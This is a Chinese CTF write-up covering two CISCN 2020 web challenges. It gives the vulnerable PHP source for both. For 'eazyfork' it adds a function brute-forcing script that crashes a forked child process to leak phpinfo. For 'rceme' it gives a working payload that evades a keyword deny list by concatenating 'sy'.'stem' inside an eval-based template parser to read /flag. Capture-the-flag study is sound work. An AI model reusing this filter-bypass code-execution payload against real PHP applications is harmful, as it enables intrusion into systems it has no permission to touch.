ciscnctf2020初赛wp

web

eazyfork

pcntl_fork — 在当前进程当前位置产生子进程。

fork是创建了一个子进程,父进程和子进程 都从fork的位置开始向下继续执行,不同的是父进程执行过程中,得到的fork返回值为子进程 号,而子进程得到的是0。

子进程返回0,父进程返回pid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//题目环境:php:7.4.8-apache
$pid = pcntl_fork();
if ($pid == -1) {
die('could not fork');
}else if ($pid){ //进入这个需要父进程
$r=pcntl_wait($status);//等待任意一个子进程,返回退出的子进程的pid
if(!pcntl_wifexited($status)){ //检查状态码是否属于异常退出,正常为true,异常为false
phpinfo(); //异常就给phpinfo
}
}else{ //出现这个说明在子进程里
highlight_file(__FILE__);
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]); //调用函数a(b,false,true)
}
posix_kill(posix_getpid(), SIGUSR1); //相当于exit(0),退出子进程
}

所以导致fork出的进程异常就可以拿到phpinfo()

但是这里call_user_func_array的参数要求比较高,我找了一些常用的都没有奏效,于是尝试爆破一下函数看看有没有突破点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php



$b = "";
$a = get_defined_functions();

$i = 0;
$url = "http://eci-2zec04gbl0or30sac3hm.cloudeci1.ichunqiu.com/?b=&a=";
for($i;$i<1722;$i++){
$func = $a["internal"][$i];
$u = $url.$func;
$content = file_get_contents("$u");
if(strlen($content)>10000){
echo $func;echo strlen($content);
echo "\n";
echo "-----------------------------------";
echo "\n";
echo $content;
echo "\n";
echo "-----------------------------------";
echo "\n";
}

}
?>

然后就直接爆出来了。。。。

当函数为similar_text时,直接导致子进程异常,然后出了phpinfo

然后在phpinfo中找到了flag

rceme

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);


function danger_key($s) {
$s=htmlspecialchars($s);
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
foreach ($danger as $val){
if(strpos($s,$val) !==false){
die('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
}
if(preg_match("/^[a-z]$/i")){
die('很抱歉,执行出错,发现危险字符');
}
return $s;
}
//不能出现列出的字符,而且不能由一个小写字母构成



function parserIfLabel( $content ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $content, $matches ) ) {
//举例:此处匹配{if:aaa}bbb{end if}
//matches[0][0]={if:aaa}bbb{end if}
//matches[1][0]=aaa
//matches[2][0]=bbb
//count = 1
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
//根据匹配结果,ifstr=aaa
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);//这个参数很迷惑,多出了一个,这里是检查aaa中是否有带有危险词
if(strpos($ifstr,'=') !== false){ //aaa中如果有=的话 =不能是开头或者结尾,而且会被替换为==
$arr= splits($ifstr,'=');

if($arr[0]=='' || $arr[1]==''){
die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
//将以下字符替换,一般没有多大影响
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) { // aaa中不能出现{或者}
die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
}else{ //{if:('sy'.'stem')('dir')}bbb{end if}
var_dump($ifstr); //aaa = system('ls -al') = ('sy'.'stem')('dir')
eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' ); //然后运行eval('if(aaa){$flag="if";}else{$flag="else";}')
}

if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) { //正则bbb=ccc{else}ddd,则$matches2[1]=ccc,$matches2[2]=ddd
switch ( $flag ) {
case 'if':
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ]; //如果flag是if,那么就$out_html=ccc,否则为$out_html=ddd
}
break;
case 'else':
if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 ];
}
break;
}
} elseif ( $flag == 'if' ) { //若bbb格式不对,则$out_html=bbb
$out_html .= $matches[ 2 ][ $i ];
}
$pattern2 = '/\{if([0-9]):/';
if ( preg_match( $pattern2, $out_html, $matches3 ) ) { //如果$out_html存在{if3: ,则会被正则出来
$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
$out_html = $this->parserIfLabel( $out_html );
}
$content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
}
}
return $content;
}
function splits( $s, $str=',' ) {
if ( empty( $s ) ) return array( '' );
if ( strpos( $s, $str ) !== false ) {
return explode( $str, $s );
} else {
return array( $s );
}
}

分析见注释,payload

1
{if:(%27sy%27.%27stem%27)(%27cat%20/flag%27)}bbb{end%20if}

陆续更新ing


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!